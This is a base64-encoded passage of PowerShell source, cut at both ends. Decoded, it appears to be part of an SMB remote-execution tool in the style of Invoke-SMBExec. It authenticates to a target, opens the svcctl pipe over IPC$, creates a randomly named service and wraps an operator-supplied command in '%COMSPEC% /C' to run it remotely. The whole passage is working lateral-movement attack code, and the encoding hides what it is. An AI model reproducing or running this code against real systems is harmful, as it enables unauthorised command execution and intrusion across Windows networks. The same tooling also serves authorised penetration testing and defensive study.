c2goKQ0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgew0KDQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs5Li4xMl0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICIkb3V0cHV0X3VzZXJuYW1lIHN1Y2Nlc3NmdWxseSBhdXRoZW50aWNhdGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAkbG9naW5fc3VjY2Vzc2Z1bCA9ICR0cnVlDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgZmFpbGVkIHRvIGF1dGhlbnRpY2F0ZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkZmFsc2UNCiAgICAgICAgfQ0KDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtZXEgJzAwLTAwLTAwLTAwJykNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBzdWNjZXNzZnVsbHkgYXV0aGVudGljYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkdHJ1ZQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGZhaWxlZCB0byBhdXRoZW50aWNhdGUgb24gJFRhcmdldCINCiAgICAgICAgICAgICRsb2dpbl9zdWNjZXNzZnVsID0gJGZhbHNlDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIGlmKCRsb2dpbl9zdWNjZXNzZnVsKQ0KICAgIHsNCiAgICAgICAgJFNNQl9wYXRoID0gIlxcIiArICRUYXJnZXQgKyAiXElQQyQiDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJFNNQl9wYXRoKSArIDB4MDANCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFNNQl9wYXRoKQ0KICAgICAgICB9DQoNCiAgICAgICAgJFNNQl9uYW1lZF9waXBlX1VVSUQgPSAweDgxLDB4YmIsMHg3YSwweDM2LDB4NDQsMHg5OCwweGYxLDB4MzUsMHhhZCwweDMyLDB4OTgsMHhmMCwweDM4LDB4MDAsMHgxMCwweDAzDQoNCiAgICAgICAgaWYoISRTZXJ2aWNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2VfcmFuZG9tID0gW1N0cmluZ106OkpvaW4oIjAwLSIsKDEuLjIwIHwgRm9yRWFjaC1PYmplY3R7InswOlgyfS0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDY1IC1NYXhpbXVtIDkwKX0pKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlX3JhbmRvbSAtcmVwbGFjZSAiLTAwIiwiIg0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlN1YnN0cmluZygwLCRTTUJfc2VydmljZS5MZW5ndGggLSAxKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRTTUJfc2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLlN0cmluZyAoJFNNQl9zZXJ2aWNlLDAsJFNNQl9zZXJ2aWNlLkxlbmd0aCkNCiAgICAgICAgICAgICRTTUJfc2VydmljZV9yYW5kb20gKz0gJzAwLTAwLTAwLTAwLTAwJw0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gJFNNQl9zZXJ2aWNlX3JhbmRvbS5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2UgPSAkU2VydmljZQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkU01CX3NlcnZpY2UpDQoNCiAgICAgICAgICAgIGlmKFtCb29sXSgkU01CX3NlcnZpY2UuTGVuZ3RoICUgMikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzICs9IDB4MDAsMHgwMA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJFNNQl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zZXJ2aWNlLmxlbmd0aCArIDEpDQoNCiAgICAgICAgaWYoJENvbW1hbmRDT01TUEVDIC1lcSAnWScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gIiVDT01TUEVDJSAvQyBgIiIgKyAkQ29tbWFuZCArICJgIiINCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gImAiIiArICRDb21tYW5kICsgImAiIg0KICAgICAgICB9DQoNCiAgICAgICAgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkQ29tbWFuZCkgfCBGb3JFYWNoLU9iamVjdHskU01CRXhlY19jb21tYW5kICs9ICJ7MDpYMn0tMDAtIiAtZiAkX30NCg0KICAgICAgICBpZihbQm9vbF0oJENvbW1hbmQuTGVuZ3RoICUgMikpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJFeGVjX2NvbW1hbmQgKz0gJzAwLTAwJw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJFNNQkV4ZWNfY29tbWFuZCArPSAnMDAtMDAtMDAtMDAnDQogICAgICAgIH0gICAgDQogICAgICAgIA0KICAgICAgICAkU01CRXhlY19jb21tYW5kX2J5dGVzID0gJFNNQkV4ZWNfY29tbWFuZC5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9ICANCiAgICAgICAgJFNNQkV4ZWNfY29tbWFuZF9sZW5ndGhfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJFeGVjX2NvbW1hbmRfYnl0ZXMuTGVuZ3RoIC8gMikNCiAgICAgICAgDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQoNCiAgICAgICAgICAgIDpTTUJfZXhlY3V0ZV9sb29wIHdoaWxlICgkU01CX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3NSAweDE4IDB4MDEsMHg0OCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTUQ1ID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NWMsMHg3MywweDc2LDB4NjMsMHg2MywweDc0LDB4NmMsMHgwMCAjIFxzdmNjdGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdHJlZV9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMjgsMjldDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4YTIgMHgxOCAweDAyLDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCAkU01CX25hbWVkX3BpcGVfYnl0ZXMNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX0ZJRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbNDIsNDNdDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ0JpbmQgMSAweGI4LDB4MTAgMHgwMSAweDAwLDB4MDAgJFNNQl9uYW1lZF9waXBlX1VVSUQgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIl0gPSAweDQ4LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aExvdyJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHgyZSAweDE4IDB4MDUsMHgyOCAkU01CX3RyZWVfSUQgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gJFNNQl9zaWduaW5nX2NvdW50ZXIgKyAyIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgIC